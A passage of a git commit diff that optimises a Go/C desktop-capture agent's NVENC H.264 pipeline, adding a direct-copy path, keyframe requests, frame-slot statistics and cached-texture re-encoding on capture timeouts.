save current
This commit is contained in:
@@ -166,6 +166,7 @@ COPY --from=builder /app/dist-clients ./dist-clients
|
||||
|
||||
# Go agent source needed at every agent build.
|
||||
COPY Overlord-Client/ ./Overlord-Client/
|
||||
RUN test -s ./Overlord-Client/third_party/nvcodec/nvEncodeAPI.h
|
||||
|
||||
RUN mkdir -p certs data
|
||||
|
||||
|
||||
@@ -493,6 +493,7 @@ var (
|
||||
statKeepaliveFrames atomic.Int64
|
||||
statBlockRegions atomic.Int64
|
||||
statBlockFallbacks atomic.Int64
|
||||
statFrameSlotSkips atomic.Int64
|
||||
|
||||
overrideQuality atomic.Int64
|
||||
overrideCodec atomic.Value
|
||||
@@ -700,6 +701,7 @@ func resetStats() {
|
||||
statKeepaliveFrames.Store(0)
|
||||
statBlockRegions.Store(0)
|
||||
statBlockFallbacks.Store(0)
|
||||
statFrameSlotSkips.Store(0)
|
||||
}
|
||||
|
||||
func avgMs(ns int64, frames int64) float64 {
|
||||
|
||||
@@ -30,6 +30,7 @@ func AcquireFrameSlot() bool {
|
||||
inFlightFrames.Store(0)
|
||||
continue
|
||||
}
|
||||
statFrameSlotSkips.Add(1)
|
||||
return false
|
||||
}
|
||||
if inFlightFrames.CompareAndSwap(cur, cur+1) {
|
||||
@@ -81,3 +82,13 @@ func activeFrameSlotLimit() int64 {
|
||||
}
|
||||
return defaultMaxInFlightFrames
|
||||
}
|
||||
|
||||
func frameFlowSnapshot() (inFlight, limit int64, ackSeen bool, ackAge time.Duration) {
|
||||
inFlight = inFlightFrames.Load()
|
||||
limit = activeFrameSlotLimit()
|
||||
ackSeen = frameAckSeen.Load()
|
||||
if lastAck := lastAckNano.Load(); lastAck > 0 {
|
||||
ackAge = time.Since(time.Unix(0, lastAck))
|
||||
}
|
||||
return inFlight, limit, ackSeen, ackAge
|
||||
}
|
||||
|
||||
@@ -530,6 +530,7 @@ func resetH264Encoder() {
|
||||
}
|
||||
|
||||
func RequestDesktopH264Keyframe() {
|
||||
requestNativeH264D3D11TextureKeyframe()
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
|
||||
@@ -17,4 +17,6 @@ func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, in
|
||||
return nil, fmt.Errorf("native NVENC D3D11 texture encode requires cgo for input=%dx%d output=%dx%d@%dfps", inputWidth, inputHeight, encodeWidth, encodeHeight, fps)
|
||||
}
|
||||
|
||||
func requestNativeH264D3D11TextureKeyframe() {}
|
||||
|
||||
func resetNativeH264D3D11TextureEncoder() {}
|
||||
|
||||
@@ -414,70 +414,75 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D
|
||||
return out;
|
||||
}
|
||||
|
||||
HRESULT hr = enc->device->lpVtbl->QueryInterface(enc->device, &nvenc_iid_id3d11_video_device, (void**)&enc->video_device);
|
||||
if (FAILED(hr) || !enc->video_device) {
|
||||
out.stage = 11;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "ID3D11VideoDevice unavailable for GPU BGRA->NV12 conversion", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->context->lpVtbl->QueryInterface(enc->context, &nvenc_iid_id3d11_video_context, (void**)&enc->video_context);
|
||||
if (FAILED(hr) || !enc->video_context) {
|
||||
out.stage = 12;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "ID3D11VideoContext unavailable for GPU BGRA->NV12 conversion", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
|
||||
D3D11_VIDEO_PROCESSOR_CONTENT_DESC content_desc;
|
||||
memset(&content_desc, 0, sizeof(content_desc));
|
||||
content_desc.InputFrameFormat = D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE;
|
||||
content_desc.InputFrameRate.Numerator = (UINT)fps;
|
||||
content_desc.InputFrameRate.Denominator = 1;
|
||||
content_desc.InputWidth = (UINT)input_width;
|
||||
content_desc.InputHeight = (UINT)input_height;
|
||||
content_desc.OutputFrameRate.Numerator = (UINT)fps;
|
||||
content_desc.OutputFrameRate.Denominator = 1;
|
||||
content_desc.OutputWidth = (UINT)encode_width;
|
||||
content_desc.OutputHeight = (UINT)encode_height;
|
||||
content_desc.Usage = D3D11_VIDEO_USAGE_OPTIMAL_SPEED;
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorEnumerator(enc->video_device, &content_desc, &enc->video_enum);
|
||||
if (FAILED(hr) || !enc->video_enum) {
|
||||
out.stage = 13;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorEnumerator failed for GPU BGRA->NV12 conversion", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
UINT format_flags = 0;
|
||||
hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, (DXGI_FORMAT)dxgi_format, &format_flags);
|
||||
if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_INPUT)) {
|
||||
out.stage = 14;
|
||||
out.hr = FAILED(hr) ? hr : E_FAIL;
|
||||
strncpy(out.message, "desktop DXGI format is not supported as D3D11 video processor input", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
DXGI_FORMAT output_dxgi_format = output_mode == 1 ? (DXGI_FORMAT)dxgi_format : DXGI_FORMAT_NV12;
|
||||
NV_ENC_BUFFER_FORMAT output_buffer_format = output_mode == 1 ? buffer_format : NV_ENC_BUFFER_FORMAT_NV12;
|
||||
format_flags = 0;
|
||||
hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, output_dxgi_format, &format_flags);
|
||||
if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_OUTPUT)) {
|
||||
out.stage = 15;
|
||||
out.hr = FAILED(hr) ? hr : E_FAIL;
|
||||
strncpy(out.message, "requested D3D11 video processor output format is not supported", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessor(enc->video_device, enc->video_enum, 0, &enc->video_processor);
|
||||
if (FAILED(hr) || !enc->video_processor) {
|
||||
out.stage = 16;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessor failed for GPU BGRA->NV12 conversion", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
int direct_copy = output_mode == 1 && input_width == encode_width && input_height == encode_height;
|
||||
HRESULT hr = S_OK;
|
||||
|
||||
if (!direct_copy) {
|
||||
hr = enc->device->lpVtbl->QueryInterface(enc->device, &nvenc_iid_id3d11_video_device, (void**)&enc->video_device);
|
||||
if (FAILED(hr) || !enc->video_device) {
|
||||
out.stage = 11;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "ID3D11VideoDevice unavailable for GPU conversion/scaling", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->context->lpVtbl->QueryInterface(enc->context, &nvenc_iid_id3d11_video_context, (void**)&enc->video_context);
|
||||
if (FAILED(hr) || !enc->video_context) {
|
||||
out.stage = 12;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "ID3D11VideoContext unavailable for GPU conversion/scaling", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
|
||||
D3D11_VIDEO_PROCESSOR_CONTENT_DESC content_desc;
|
||||
memset(&content_desc, 0, sizeof(content_desc));
|
||||
content_desc.InputFrameFormat = D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE;
|
||||
content_desc.InputFrameRate.Numerator = (UINT)fps;
|
||||
content_desc.InputFrameRate.Denominator = 1;
|
||||
content_desc.InputWidth = (UINT)input_width;
|
||||
content_desc.InputHeight = (UINT)input_height;
|
||||
content_desc.OutputFrameRate.Numerator = (UINT)fps;
|
||||
content_desc.OutputFrameRate.Denominator = 1;
|
||||
content_desc.OutputWidth = (UINT)encode_width;
|
||||
content_desc.OutputHeight = (UINT)encode_height;
|
||||
content_desc.Usage = D3D11_VIDEO_USAGE_OPTIMAL_SPEED;
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorEnumerator(enc->video_device, &content_desc, &enc->video_enum);
|
||||
if (FAILED(hr) || !enc->video_enum) {
|
||||
out.stage = 13;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorEnumerator failed for GPU conversion/scaling", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
UINT format_flags = 0;
|
||||
hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, (DXGI_FORMAT)dxgi_format, &format_flags);
|
||||
if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_INPUT)) {
|
||||
out.stage = 14;
|
||||
out.hr = FAILED(hr) ? hr : E_FAIL;
|
||||
strncpy(out.message, "desktop DXGI format is not supported as D3D11 video processor input", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
format_flags = 0;
|
||||
hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, output_dxgi_format, &format_flags);
|
||||
if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_OUTPUT)) {
|
||||
out.stage = 15;
|
||||
out.hr = FAILED(hr) ? hr : E_FAIL;
|
||||
strncpy(out.message, "requested D3D11 video processor output format is not supported", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessor(enc->video_device, enc->video_enum, 0, &enc->video_processor);
|
||||
if (FAILED(hr) || !enc->video_processor) {
|
||||
out.stage = 16;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessor failed for GPU conversion/scaling", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
}
|
||||
|
||||
D3D11_TEXTURE2D_DESC source_desc;
|
||||
@@ -514,37 +519,41 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D
|
||||
output_view_desc.Texture2D.MipSlice = 0;
|
||||
for (int i = 0; i < NVENC_D3D11_TEXTURE_PIPELINE_DEPTH; i++) {
|
||||
nvenc_d3d11_texture_slot *slot = &enc->slots[i];
|
||||
hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &source_desc, NULL, &slot->source_texture);
|
||||
if (FAILED(hr) || !slot->source_texture) {
|
||||
out.stage = 17;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateTexture2D desktop video-processor input failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
if (!direct_copy) {
|
||||
hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &source_desc, NULL, &slot->source_texture);
|
||||
if (FAILED(hr) || !slot->source_texture) {
|
||||
out.stage = 17;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateTexture2D desktop video-processor input failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
}
|
||||
hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &tex_desc, NULL, &slot->input_texture);
|
||||
if (FAILED(hr) || !slot->input_texture) {
|
||||
out.stage = 18;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateTexture2D video-processor output failed", sizeof(out.message)-1);
|
||||
strncpy(out.message, direct_copy ? "CreateTexture2D direct NVENC input failed" : "CreateTexture2D video-processor output failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorInputView(enc->video_device, (ID3D11Resource*)slot->source_texture, enc->video_enum, &input_view_desc, &slot->video_input_view);
|
||||
if (FAILED(hr) || !slot->video_input_view) {
|
||||
out.stage = 19;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorInputView failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorOutputView(enc->video_device, (ID3D11Resource*)slot->input_texture, enc->video_enum, &output_view_desc, &slot->video_output_view);
|
||||
if (FAILED(hr) || !slot->video_output_view) {
|
||||
out.stage = 20;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorOutputView failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
if (!direct_copy) {
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorInputView(enc->video_device, (ID3D11Resource*)slot->source_texture, enc->video_enum, &input_view_desc, &slot->video_input_view);
|
||||
if (FAILED(hr) || !slot->video_input_view) {
|
||||
out.stage = 19;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorInputView failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
hr = enc->video_device->lpVtbl->CreateVideoProcessorOutputView(enc->video_device, (ID3D11Resource*)slot->input_texture, enc->video_enum, &output_view_desc, &slot->video_output_view);
|
||||
if (FAILED(hr) || !slot->video_output_view) {
|
||||
out.stage = 20;
|
||||
out.hr = hr;
|
||||
strncpy(out.message, "CreateVideoProcessorOutputView failed", sizeof(out.message)-1);
|
||||
nvenc_release_texture_encoder(enc);
|
||||
return out;
|
||||
}
|
||||
}
|
||||
|
||||
NV_ENC_REGISTER_RESOURCE reg;
|
||||
@@ -580,7 +589,7 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D
|
||||
}
|
||||
slot->bitstream = bs.bitstreamBuffer;
|
||||
}
|
||||
enc->use_video_processor = 1;
|
||||
enc->use_video_processor = direct_copy ? 0 : 1;
|
||||
out.encoder = enc;
|
||||
return out;
|
||||
}
|
||||
@@ -866,7 +875,7 @@ static nvenc_d3d11_encode_result nvenc_encode_d3d11_texture(nvenc_d3d11_texture_
|
||||
strncpy(out.message, "nil encoder or texture", sizeof(out.message)-1);
|
||||
return out;
|
||||
}
|
||||
if (!enc->use_video_processor || !enc->video_context || !enc->video_processor) {
|
||||
if (enc->use_video_processor && (!enc->video_context || !enc->video_processor)) {
|
||||
out.stage = 3;
|
||||
out.nvstatus = NV_ENC_ERR_INVALID_PTR;
|
||||
strncpy(out.message, "GPU BGRA->NV12 video processor is missing", sizeof(out.message)-1);
|
||||
@@ -925,48 +934,56 @@ static nvenc_d3d11_encode_result nvenc_encode_d3d11_texture(nvenc_d3d11_texture_
|
||||
return out;
|
||||
}
|
||||
}
|
||||
if (slot->in_flight || !slot->source_texture || !slot->input_texture || !slot->video_input_view || !slot->video_output_view || !slot->registered_resource || !slot->bitstream) {
|
||||
if (slot->in_flight || !slot->input_texture || !slot->registered_resource || !slot->bitstream) {
|
||||
out.stage = 2;
|
||||
out.nvstatus = NV_ENC_ERR_INVALID_PTR;
|
||||
strncpy(out.message, "pipeline slot is not ready for encode", sizeof(out.message)-1);
|
||||
return out;
|
||||
}
|
||||
if (enc->use_video_processor && (!slot->source_texture || !slot->video_input_view || !slot->video_output_view)) {
|
||||
out.stage = 2;
|
||||
out.nvstatus = NV_ENC_ERR_INVALID_PTR;
|
||||
strncpy(out.message, "video-processor pipeline slot is not ready for encode", sizeof(out.message)-1);
|
||||
return out;
|
||||
}
|
||||
QueryPerformanceCounter(&t0);
|
||||
enc->context->lpVtbl->CopyResource(enc->context, (ID3D11Resource*)slot->source_texture, (ID3D11Resource*)texture);
|
||||
enc->context->lpVtbl->CopyResource(enc->context, enc->use_video_processor ? (ID3D11Resource*)slot->source_texture : (ID3D11Resource*)slot->input_texture, (ID3D11Resource*)texture);
|
||||
QueryPerformanceCounter(&t1);
|
||||
out.copy_ms = nvenc_qpc_ms(t0, t1, qpc_freq);
|
||||
|
||||
RECT src_rect;
|
||||
src_rect.left = 0;
|
||||
src_rect.top = 0;
|
||||
src_rect.right = enc->input_width;
|
||||
src_rect.bottom = enc->input_height;
|
||||
RECT dst_rect;
|
||||
dst_rect.left = 0;
|
||||
dst_rect.top = 0;
|
||||
dst_rect.right = enc->encode_width;
|
||||
dst_rect.bottom = enc->encode_height;
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamFrameFormat(enc->video_context, enc->video_processor, 0, D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE);
|
||||
nvenc_set_video_processor_color_space(enc);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamSourceRect(enc->video_context, enc->video_processor, 0, TRUE, &src_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamDestRect(enc->video_context, enc->video_processor, 0, TRUE, &dst_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetOutputTargetRect(enc->video_context, enc->video_processor, TRUE, &dst_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamAutoProcessingMode(enc->video_context, enc->video_processor, 0, FALSE);
|
||||
D3D11_VIDEO_PROCESSOR_STREAM stream;
|
||||
memset(&stream, 0, sizeof(stream));
|
||||
stream.Enable = TRUE;
|
||||
stream.OutputIndex = 0;
|
||||
stream.InputFrameOrField = 0;
|
||||
stream.pInputSurface = slot->video_input_view;
|
||||
QueryPerformanceCounter(&t0);
|
||||
HRESULT hr = enc->video_context->lpVtbl->VideoProcessorBlt(enc->video_context, enc->video_processor, slot->video_output_view, enc->frame, 1, &stream);
|
||||
QueryPerformanceCounter(&t1);
|
||||
out.blt_ms = nvenc_qpc_ms(t0, t1, qpc_freq);
|
||||
if (FAILED(hr)) {
|
||||
out.stage = 4;
|
||||
out.nvstatus = NV_ENC_ERR_GENERIC;
|
||||
snprintf(out.message, sizeof(out.message), "VideoProcessorBlt BGRA->NV12 failed hr=0x%08lx", (unsigned long)hr);
|
||||
return out;
|
||||
if (enc->use_video_processor) {
|
||||
RECT src_rect;
|
||||
src_rect.left = 0;
|
||||
src_rect.top = 0;
|
||||
src_rect.right = enc->input_width;
|
||||
src_rect.bottom = enc->input_height;
|
||||
RECT dst_rect;
|
||||
dst_rect.left = 0;
|
||||
dst_rect.top = 0;
|
||||
dst_rect.right = enc->encode_width;
|
||||
dst_rect.bottom = enc->encode_height;
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamFrameFormat(enc->video_context, enc->video_processor, 0, D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE);
|
||||
nvenc_set_video_processor_color_space(enc);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamSourceRect(enc->video_context, enc->video_processor, 0, TRUE, &src_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamDestRect(enc->video_context, enc->video_processor, 0, TRUE, &dst_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetOutputTargetRect(enc->video_context, enc->video_processor, TRUE, &dst_rect);
|
||||
enc->video_context->lpVtbl->VideoProcessorSetStreamAutoProcessingMode(enc->video_context, enc->video_processor, 0, FALSE);
|
||||
D3D11_VIDEO_PROCESSOR_STREAM stream;
|
||||
memset(&stream, 0, sizeof(stream));
|
||||
stream.Enable = TRUE;
|
||||
stream.OutputIndex = 0;
|
||||
stream.InputFrameOrField = 0;
|
||||
stream.pInputSurface = slot->video_input_view;
|
||||
QueryPerformanceCounter(&t0);
|
||||
HRESULT hr = enc->video_context->lpVtbl->VideoProcessorBlt(enc->video_context, enc->video_processor, slot->video_output_view, enc->frame, 1, &stream);
|
||||
QueryPerformanceCounter(&t1);
|
||||
out.blt_ms = nvenc_qpc_ms(t0, t1, qpc_freq);
|
||||
if (FAILED(hr)) {
|
||||
out.stage = 4;
|
||||
out.nvstatus = NV_ENC_ERR_GENERIC;
|
||||
snprintf(out.message, sizeof(out.message), "VideoProcessorBlt failed hr=0x%08lx", (unsigned long)hr);
|
||||
return out;
|
||||
}
|
||||
}
|
||||
|
||||
NV_ENC_MAP_INPUT_RESOURCE map;
|
||||
@@ -1444,6 +1461,7 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
@@ -1668,6 +1686,10 @@ func newNativeD3D11TextureH264Encoder(device unsafe.Pointer, inputWidth, inputHe
|
||||
}
|
||||
return nil, fmt.Errorf("NVENC D3D11 texture encoder create failed")
|
||||
}
|
||||
pipeline := "d3d11_video_processor"
|
||||
if outputMode == 1 && inputWidth == encodeWidth && inputHeight == encodeHeight {
|
||||
pipeline = "d3d11_direct_copy"
|
||||
}
|
||||
enc := &nativeD3D11TextureH264Encoder{
|
||||
enc: raw.encoder,
|
||||
device: device,
|
||||
@@ -1682,9 +1704,9 @@ func newNativeD3D11TextureH264Encoder(device unsafe.Pointer, inputWidth, inputHe
|
||||
outputName: outputName,
|
||||
}
|
||||
if inputWidth != encodeWidth || inputHeight != encodeHeight {
|
||||
log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC input=%dx%d output=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s gpu_scale=d3d11_video_processor bitrate=%d", inputWidth, inputHeight, encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, bitrate)
|
||||
log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC input=%dx%d output=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s pipeline=%s bitrate=%d", inputWidth, inputHeight, encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, pipeline, bitrate)
|
||||
} else {
|
||||
log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC size=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s gpu_scale=d3d11_video_processor bitrate=%d", encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, bitrate)
|
||||
log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC size=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s pipeline=%s bitrate=%d", encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, pipeline, bitrate)
|
||||
}
|
||||
return enc, nil
|
||||
}
|
||||
@@ -1782,7 +1804,7 @@ func preferredNVENCD3D11OutputModes() []int {
|
||||
case "bgra", "argb":
|
||||
return []int{1}
|
||||
default:
|
||||
return []int{0, 1}
|
||||
return []int{1, 0}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1812,8 +1834,9 @@ func envBool(name string) bool {
|
||||
}
|
||||
|
||||
var (
|
||||
nativeTextureH264Mu sync.Mutex
|
||||
nativeTextureH264Enc *nativeD3D11TextureH264Encoder
|
||||
nativeTextureH264Mu sync.Mutex
|
||||
nativeTextureH264Enc *nativeD3D11TextureH264Encoder
|
||||
nativeTextureH264ForceIDR atomic.Bool
|
||||
)
|
||||
|
||||
func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, inputHeight, encodeWidth, encodeHeight, fps int, dxgiFormat uint32, forceIDR bool) ([]byte, error) {
|
||||
@@ -1834,7 +1857,11 @@ func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, in
|
||||
}
|
||||
nativeTextureH264Enc = enc
|
||||
}
|
||||
return nativeTextureH264Enc.EncodeTexture(texture, forceIDR)
|
||||
return nativeTextureH264Enc.EncodeTexture(texture, forceIDR || nativeTextureH264ForceIDR.Swap(false))
|
||||
}
|
||||
|
||||
func requestNativeH264D3D11TextureKeyframe() {
|
||||
nativeTextureH264ForceIDR.Store(true)
|
||||
}
|
||||
|
||||
func resetNativeH264D3D11TextureEncoder() {
|
||||
@@ -1844,4 +1871,5 @@ func resetNativeH264D3D11TextureEncoder() {
|
||||
nativeTextureH264Enc.Close()
|
||||
nativeTextureH264Enc = nil
|
||||
}
|
||||
nativeTextureH264ForceIDR.Store(false)
|
||||
}
|
||||
|
||||
@@ -617,6 +617,8 @@ type duplicationState struct {
|
||||
context *d3d11DeviceContext
|
||||
staging *d3d11Texture2D
|
||||
stagingDesc d3d11Texture2DDesc
|
||||
h264LastTex *d3d11Texture2D
|
||||
h264LastDesc d3d11Texture2DDesc
|
||||
desc dxgiOutDuplDesc
|
||||
lastBase *image.RGBA
|
||||
lastFrame *image.RGBA
|
||||
@@ -658,6 +660,11 @@ func (s *duplicationState) closeLocked() {
|
||||
s.staging.Release()
|
||||
s.staging = nil
|
||||
}
|
||||
if s.h264LastTex != nil {
|
||||
s.h264LastTex.Release()
|
||||
s.h264LastTex = nil
|
||||
s.h264LastDesc = d3d11Texture2DDesc{}
|
||||
}
|
||||
resetNativeH264D3D11TextureEncoder()
|
||||
if s.context != nil {
|
||||
s.context.Release()
|
||||
@@ -888,6 +895,23 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte,
|
||||
var resource *iunknown
|
||||
hr := s.dup.AcquireNextFrame(5, &info, &resource)
|
||||
if hr == dxgiErrorWaitTimeout {
|
||||
if s.h264LastTex != nil {
|
||||
captureDur := time.Since(capStart)
|
||||
fps := activeH264FPS()
|
||||
encStart := time.Now()
|
||||
out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(s.h264LastTex), width, height, encodeW, encodeH, fps, s.h264LastDesc.Format, forceKeyframe)
|
||||
encodeDur := time.Since(encStart)
|
||||
if err != nil {
|
||||
directH264WarnOnce.Do(func() {
|
||||
log.Printf("capture: direct DXGI->NVENC h264 cached-frame encode failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, s.h264LastDesc.Format, err)
|
||||
})
|
||||
return nil, 0, 0, 0, 0, false, err
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil, encodeW, encodeH, captureDur, encodeDur, true, nil
|
||||
}
|
||||
return out, encodeW, encodeH, captureDur, encodeDur, true, nil
|
||||
}
|
||||
return nil, encodeW, encodeH, time.Since(capStart), 0, true, nil
|
||||
}
|
||||
if hr == dxgiErrorAccessLost {
|
||||
@@ -907,7 +931,12 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte,
|
||||
if resource == nil {
|
||||
return nil, 0, 0, 0, 0, false, errors.New("dxgi: acquired nil resource")
|
||||
}
|
||||
defer s.dup.ReleaseFrame()
|
||||
frameReleased := false
|
||||
defer func() {
|
||||
if !frameReleased {
|
||||
_ = s.dup.ReleaseFrame()
|
||||
}
|
||||
}()
|
||||
|
||||
var tex *d3d11Texture2D
|
||||
hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex))
|
||||
@@ -930,15 +959,24 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte,
|
||||
})
|
||||
return nil, 0, 0, 0, 0, false, fmt.Errorf("direct h264 unsupported DXGI texture format %d", srcDesc.Format)
|
||||
}
|
||||
if err := s.cacheH264TextureLocked(tex, srcDesc); err != nil {
|
||||
directH264WarnOnce.Do(func() {
|
||||
log.Printf("capture: direct DXGI->NVENC h264 cache setup failed for %dx%d format=%d: %v; using readback path", width, height, srcDesc.Format, err)
|
||||
})
|
||||
return nil, 0, 0, 0, 0, false, err
|
||||
}
|
||||
|
||||
captureDur := time.Since(capStart)
|
||||
_ = s.dup.ReleaseFrame()
|
||||
frameReleased = true
|
||||
|
||||
fps := activeH264FPS()
|
||||
encStart := time.Now()
|
||||
out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(tex), width, height, encodeW, encodeH, fps, srcDesc.Format, forceKeyframe)
|
||||
out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(s.h264LastTex), width, height, encodeW, encodeH, fps, s.h264LastDesc.Format, forceKeyframe)
|
||||
encodeDur := time.Since(encStart)
|
||||
if err != nil {
|
||||
directH264WarnOnce.Do(func() {
|
||||
log.Printf("capture: direct DXGI->NVENC h264 failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, srcDesc.Format, err)
|
||||
log.Printf("capture: direct DXGI->NVENC h264 failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, s.h264LastDesc.Format, err)
|
||||
})
|
||||
return nil, 0, 0, 0, 0, false, err
|
||||
}
|
||||
@@ -951,6 +989,40 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte,
|
||||
return out, encodeW, encodeH, captureDur, encodeDur, true, nil
|
||||
}
|
||||
|
||||
func (s *duplicationState) cacheH264TextureLocked(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
|
||||
if src == nil || s.device == nil || s.context == nil {
|
||||
return errors.New("nil D3D11 source/device/context")
|
||||
}
|
||||
recreate := s.h264LastTex == nil ||
|
||||
s.h264LastDesc.Width != srcDesc.Width ||
|
||||
s.h264LastDesc.Height != srcDesc.Height ||
|
||||
s.h264LastDesc.Format != srcDesc.Format
|
||||
if recreate {
|
||||
if s.h264LastTex != nil {
|
||||
s.h264LastTex.Release()
|
||||
s.h264LastTex = nil
|
||||
}
|
||||
cacheDesc := srcDesc
|
||||
cacheDesc.MipLevels = 1
|
||||
cacheDesc.ArraySize = 1
|
||||
cacheDesc.SampleDesc.Count = 1
|
||||
cacheDesc.SampleDesc.Quality = 0
|
||||
cacheDesc.Usage = 0 // D3D11_USAGE_DEFAULT
|
||||
cacheDesc.BindFlags = 0
|
||||
cacheDesc.CPUAccessFlags = 0
